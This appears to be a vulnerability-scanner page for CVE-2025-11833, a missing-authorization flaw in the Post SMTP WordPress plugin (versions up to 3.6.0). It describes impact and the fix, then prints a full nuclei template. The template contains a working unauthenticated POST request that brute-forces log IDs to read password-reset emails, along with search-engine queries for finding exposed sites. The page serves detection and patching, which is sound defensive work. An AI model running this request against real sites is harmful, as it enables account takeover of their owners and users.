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CVE-2025-11833· wpexperts / post smtp mailer· CWE-862

Post SMTP <= 3.6.0 - Email Log Disclosure

criticalseverity
9.8CVSS score
61.5%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Post SMTP WordPress plugin <= 3.6.0 contains an unauthorized data access vulnerability caused by missing capability check in __construct function, letting unauthenticated attackers read arbitrary logged emails, exploit requires no authentication.

Impact

Unauthenticated attackers can read sensitive logged emails, including password reset links, potentially leading to account takeover.

Fix

Update to the latest version beyond 3.6.0

How to confirm it

Send: POST /wp-login.php?action=lostpassword&page=postman_email_log&view=log&log_id={{log_id}}
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "your password, visit the following address:", "key=", "Username: {{username}}")

Run it with nuclei: nuclei -id CVE-2025-11833 -u <target>

The full check
id: CVE-2025-11833

info:
  name: Post SMTP <= 3.6.0 - Email Log Disclosure
  author: Kazgangap
  severity: critical
  description: |
    Post SMTP WordPress plugin <= 3.6.0 contains an unauthorized data access vulnerability caused by missing capability check in __construct function, letting unauthenticated attackers read arbitrary logged emails, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can read sensitive logged emails, including password reset links, potentially leading to account takeover.
  remediation: |
    Update to the latest version beyond 3.6.0
  reference:
    - https://github.com/Kazgangap/cve-poc-garage/blob/main/2025/CVE-2025-11833.md
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/post-smtp/post-smtp-complete-smtp-solution-with-logs-alerts-backup-smtp-mobile-app-360-missing-authorization-to-account-takeover-via-unauthenticated-email-log-disclosure
    - https://nvd.nist.gov/vuln/detail/CVE-2025-11833
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-11833
    epss-score: 0.61481
    epss-percentile: 0.99174
    cwe-id: CWE-862
    cpe: cpe:2.3:a:wpexperts:post_smtp_mailer:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wpexperts
    product: post_smtp_mailer
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/post-smtp
    fofa-query: body=/wp-content/plugins/post-smtp
  tags: cve,cve2025,wp,wp-plugin,wordpress,post-smtp,exposure,vkev,fuzz,vuln

variables:
  username: "{{username}}"

http:
  - raw:
      - |
        POST /wp-login.php?action=lostpassword&page=postman_email_log&view=log&log_id={{log_id}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        user_login={{username}}&redirect_to=&wp-submit=Get+New+Password

    payloads:
      log_id: helpers/wordlists/numbers.txt

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "your password, visit the following address:", "key=", "Username: {{username}}")'
        condition: and

References

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